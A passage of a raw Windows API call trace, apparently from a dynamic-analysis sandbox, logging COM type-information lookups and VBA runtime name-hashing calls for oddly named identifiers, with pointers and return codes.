[5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263150 | out: ppvObject=0x263150*=0x0) returned 0x80004002 [0018.126] IUnknown:AddRef (This=0x759e828) returned 0x5 [0018.126] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e828, ppTypeAttr=0x263120, pDummy=0x10 | out: ppTypeAttr=0x263120, pDummy=0x10) returned 0x0 [0018.126] ITypeInfo:LocalReleaseTypeAttr (This=0x759e828) returned 0x0 [0018.126] IUnknown:Release (This=0x759e828) returned 0x4 [0018.126] IUnknown:Release (This=0x759e828) returned 0x3 [0018.126] ITypeInfo:RemoteGetTypeAttr (in: This=0x759ea68, ppTypeAttr=0x263120, pDummy=0x263150 | out: ppTypeAttr=0x263120, pDummy=0x263150*=0xffffffff) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x0, ppFuncDesc=0x263110, pDummy=0x263168 | out: ppFuncDesc=0x263110, pDummy=0x263168*=0x759ea68) returned 0x0 [0018.126] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x1, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.126] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x2, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.126] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x3, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.126] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x4, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.126] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x5, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.126] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x6, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.126] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.126] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x7, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x8, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x9, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xa, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xb, ppFuncDesc=0x263110, pDummy=0x70 | out: ppFuncDesc=0x263110, pDummy=0x70) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xc, ppFuncDesc=0x263110, pDummy=0x70 | out: ppFuncDesc=0x263110, pDummy=0x70) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xd, ppFuncDesc=0x263110, pDummy=0x70 | out: ppFuncDesc=0x263110, pDummy=0x70) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xe, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xf, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x10, ppFuncDesc=0x263110, pDummy=0xe0 | out: ppFuncDesc=0x263110, pDummy=0xe0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:LocalReleaseTypeAttr (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetTypeAttr (in: This=0x759ea68, ppTypeAttr=0x263120, pDummy=0x263150 | out: ppTypeAttr=0x263120, pDummy=0x263150*=0xffffffff) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x0, ppFuncDesc=0x263110, pDummy=0x70 | out: ppFuncDesc=0x263110, pDummy=0x70) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x1, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x2, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x3, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x4, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x5, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x6, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x7, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x8, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x9, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.127] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.127] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xa, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xb, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xc, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xd, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xe, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0xf, ppFuncDesc=0x263110, pDummy=0x210 | out: ppFuncDesc=0x263110, pDummy=0x210) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x10, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x11, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x12, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x13, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x14, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:RemoteGetFuncDesc (in: This=0x759ea68, index=0x15, ppFuncDesc=0x263110, pDummy=0xf0 | out: ppFuncDesc=0x263110, pDummy=0xf0) returned 0x0 [0018.128] ITypeInfo:LocalReleaseFuncDesc (This=0x759ea68) returned 0x0 [0018.128] ITypeInfo:LocalReleaseTypeAttr (This=0x759ea68) returned 0x0 [0018.128] IUnknown:Release (This=0x759ea68) returned 0x2 [0018.128] IUnknown:QueryInterface (in: This=0x75a71f0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x262ae8 | out: ppvObject=0x262ae8*=0x0) returned 0x80004002 [0018.128] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a71f0, ppTypeAttr=0x262ae0, pDummy=0x10 | out: ppTypeAttr=0x262ae0, pDummy=0x10) returned 0x0 [0018.129] IUnknown:QueryInterface (in: This=0x759ea68, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x262ae8 | out: ppvObject=0x262ae8*=0x0) returned 0x80004002 [0018.129] ITypeInfo:RemoteGetTypeAttr (in: This=0x759ea68, ppTypeAttr=0x262ae0, pDummy=0x10 | out: ppTypeAttr=0x262ae0, pDummy=0x10) returned 0x0 [0018.131] LHashValOfNameSys (syskind=0x1, lcid=0x409, szName=" ") returned 0x101037 [0018.131] LHashValOfNameSys (syskind=0x1, lcid=0x409, szName="pothos") returned 0x1078d7 [0018.131] ITypeInfo:GetRefTypeOfImplType (in: This=0x759e828, index=0xffffffff, pRefType=0x263960 | out: pRefType=0x263960*=0xfffffffe) returned 0x0 [0018.131] ITypeInfo:GetRefTypeInfo (in: This=0x759e828, hreftype=0xfffffffe, ppTInfo=0x2639c8 | out: ppTInfo=0x2639c8*=0x759e768) returned 0x0 [0018.131] IUnknown:Release (This=0x759e828) returned 0x4 [0018.131] ITypeInfo:GetRefTypeInfo (in: This=0x759e768, hreftype=0x25, ppTInfo=0x263550 | out: ppTInfo=0x263550*=0x75a7038) returned 0x0 [0018.131] IUnknown:QueryInterface (in: This=0x75a7038, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2635c8 | out: ppvObject=0x2635c8*=0x0) returned 0x80004002 [0018.131] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a7038, ppTypeAttr=0x2635d0, pDummy=0x10 | out: ppTypeAttr=0x2635d0, pDummy=0x10) returned 0x0 [0018.131] ITypeInfo:LocalReleaseTypeAttr (This=0x75a7038) returned 0x0 [0018.131] IUnknown:QueryInterface (in: This=0x75a7038, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263490 | out: ppvObject=0x263490*=0x0) returned 0x80004002 [0018.131] IUnknown:QueryInterface (in: This=0x75a7038, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263400 | out: ppvObject=0x263400*=0x0) returned 0x80004002 [0018.131] IUnknown:QueryInterface (in: This=0x75a7038, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263480 | out: ppvObject=0x263480*=0x0) returned 0x80004002 [0018.131] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a7038, ppTypeAttr=0x263408, pDummy=0x10 | out: ppTypeAttr=0x263408, pDummy=0x10) returned 0x0 [0018.131] ITypeInfo:LocalReleaseTypeAttr (This=0x75a7038) returned 0x0 [0018.131] IUnknown:AddRef (This=0x75a7038) returned 0x3 [0018.131] IUnknown:QueryInterface (in: This=0x75a7038, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2634a0 | out: ppvObject=0x2634a0*=0x0) returned 0x80004002 [0018.132] IUnknown:QueryInterface (in: This=0x75a7038, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2634d8 | out: ppvObject=0x2634d8*=0x0) returned 0x80004002 [0018.132] IUnknown:Release (This=0x75a7038) returned 0x2 [0018.132] IUnknown:Release (This=0x75a7038) returned 0x2 [0018.132] IUnknown:Release (This=0x75a7038) returned 0x2 [0018.132] IUnknown:QueryInterface (in: This=0x759e768, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a48 | out: ppvObject=0x263a48*=0x0) returned 0x80004002 [0018.132] IUnknown:QueryInterface (in: This=0x759e768, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263ac0 | out: ppvObject=0x263ac0*=0x0) returned 0x80004002 [0018.132] IUnknown:QueryInterface (in: This=0x759e768, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a30 | out: ppvObject=0x263a30*=0x0) returned 0x80004002 [0018.132] IUnknown:QueryInterface (in: This=0x759e768, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263ab0 | out: ppvObject=0x263ab0*=0x0) returned 0x80004002 [0018.132] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x263a38, pDummy=0x10 | out: ppTypeAttr=0x263a38, pDummy=0x10) returned 0x0 [0018.132] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.132] IUnknown:AddRef (This=0x759e768) returned 0x7 [0018.132] IUnknown:AddRef (This=0x759e768) returned 0x7 [0018.132] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x263ad8, pDummy=0x0 | out: ppTypeAttr=0x263ad8, pDummy=0x0) returned 0x0 [0018.132] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.132] IUnknown:Release (This=0x759e768) returned 0x6 [0018.133] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x2631f0, pDummy=0x801ee000c | out: ppTypeAttr=0x2631f0, pDummy=0x801ee000c) returned 0x0 [0018.133] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.133] IUnknown:Release (This=0x75a7038) returned 0x2 [0018.133] IUnknown:QueryInterface (in: This=0x75a70e8, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a48 | out: ppvObject=0x263a48*=0x0) returned 0x80004002 [0018.133] IUnknown:QueryInterface (in: This=0x75a70e8, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263ac0 | out: ppvObject=0x263ac0*=0x0) returned 0x80004002 [0018.134] IUnknown:QueryInterface (in: This=0x75a70e8, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a30 | out: ppvObject=0x263a30*=0x0) returned 0x80004002 [0018.134] IUnknown:QueryInterface (in: This=0x75a70e8, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263ab0 | out: ppvObject=0x263ab0*=0x0) returned 0x80004002 [0018.134] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a70e8, ppTypeAttr=0x263a38, pDummy=0x10 | out: ppTypeAttr=0x263a38, pDummy=0x10) returned 0x0 [0018.134] ITypeInfo:LocalReleaseTypeAttr (This=0x75a70e8) returned 0x0 [0018.134] IUnknown:AddRef (This=0x75a70e8) returned 0x4 [0018.134] IUnknown:AddRef (This=0x75a70e8) returned 0x4 [0018.134] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a70e8, ppTypeAttr=0x263ad8, pDummy=0x0 | out: ppTypeAttr=0x263ad8, pDummy=0x0) returned 0x0 [0018.134] ITypeInfo:LocalReleaseTypeAttr (This=0x75a70e8) returned 0x0 [0018.134] IUnknown:Release (This=0x75a70e8) returned 0x3 [0018.134] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a70e8, ppTypeAttr=0x2631f0, pDummy=0x901ee000c | out: ppTypeAttr=0x2631f0, pDummy=0x901ee000c) returned 0x0 [0018.134] ITypeInfo:LocalReleaseTypeAttr (This=0x75a70e8) returned 0x0 [0018.134] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="minstrelsy") returned 0x10ef8e [0018.134] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xb, _Src="minstrelsy" | out: _Dst="minstrelsy") returned 0x0 [0018.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=11, lpWideCharStr=0x263750, cchWideChar=11 | out: lpWideCharStr="minstrelsy") returned 11 [0018.134] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.134] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="minstrelsy", lHashVal=0x10ef8e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.134] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.134] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.134] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="minstrelsy", lHashVal=0x10ef8e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.134] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.134] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.134] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="minstrelsy", lHashVal=0x10ef8e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.134] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.134] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.134] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="minstrelsy", lHashVal=0x10ef8e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.134] IUnknown:Release (This=0x7479720) returned 0x5 [0018.135] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.135] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="minstrelsy") returned 0x10ef8e [0018.135] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_minstrelsy") returned 0x305dbd [0018.135] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.135] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754f8f0, cbMultiByte=4, lpWideCharStr=0x83211fc, cchWideChar=10 | out: lpWideCharStr="rote") returned 4 [0018.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="varday") returned 0x10637a [0018.136] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="varday" | out: _Dst="varday") returned 0x0 [0018.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="varday") returned 7 [0018.136] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.136] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="varday", lHashVal=0x10637a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.136] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.136] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.136] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="varday", lHashVal=0x10637a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.136] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.136] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.136] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="varday", lHashVal=0x10637a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.136] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.136] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.136] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="varday", lHashVal=0x10637a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.136] IUnknown:Release (This=0x7479720) returned 0x5 [0018.136] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.136] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="varday") returned 0x10637a [0018.137] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_varday") returned 0x30de27 [0018.137] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.137] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754f904, cbMultiByte=5, lpWideCharStr=0x83214ca, cchWideChar=12 | out: lpWideCharStr="ajaia") returned 5 [0018.137] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bennettitis") returned 0x10c46f [0018.137] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xc, _Src="bennettitis" | out: _Dst="bennettitis") returned 0x0 [0018.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=12, lpWideCharStr=0x263750, cchWideChar=12 | out: lpWideCharStr="bennettitis") returned 12 [0018.137] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.137] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="bennettitis", lHashVal=0x10c46f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.137] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.137] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.137] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="bennettitis", lHashVal=0x10c46f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.137] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.137] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.137] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="bennettitis", lHashVal=0x10c46f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.137] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.137] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.137] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="bennettitis", lHashVal=0x10c46f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.137] IUnknown:Release (This=0x7479720) returned 0x5 [0018.137] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.138] LHashValOfNameSysA (syskind=0x3, 